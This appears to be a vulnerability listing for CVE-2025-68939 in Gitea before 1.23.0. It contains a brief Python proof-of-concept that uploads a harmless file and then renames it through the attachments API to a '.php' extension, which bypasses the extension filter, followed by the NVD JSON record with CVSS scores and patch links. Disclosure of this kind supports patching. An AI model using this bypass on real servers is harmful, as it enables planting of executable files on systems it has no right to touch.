CVE-2025-68939

import requests # PoC for CVE-2025-68939 # Upload a benign file then rename it to malicious extension url = "http://target-gitea.com" upload_url = f"{url}/api/v1/repos/{owner}/{repo}/attachments" # Step 1: Upload legitimate file files = {'file': ('test.jpg', b'fake image', 'image/jpeg')} response = requests.post(upload_url, files=files, auth=(user, pass)) attachment_id = response.json()[0]['id'] # Step 2: Rename to malicious extension rename_url = f"{url}/api/v1/repos/{owner}/{repo}/attachments/{attachment_id}" requests.patch(rename_url, json={'name': 'test.php'}, auth=(user, pass))

{"cve": {"id": "CVE-2025-68939", "sourceIdentifier": "[email protected]", "published": "2025-12-26T03:15:50.653", "lastModified": "2026-01-02T19:35:04.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitea before 1.23.0 allows attackers to add attachments with forbidden file extensions by editing an attachment name via an attachment API."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-424"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.23.0", "matchCriteriaId": "6477BDC2-3013-450E-8A00-4AC462B1A1BD"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.23.0/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/32151", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.23.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}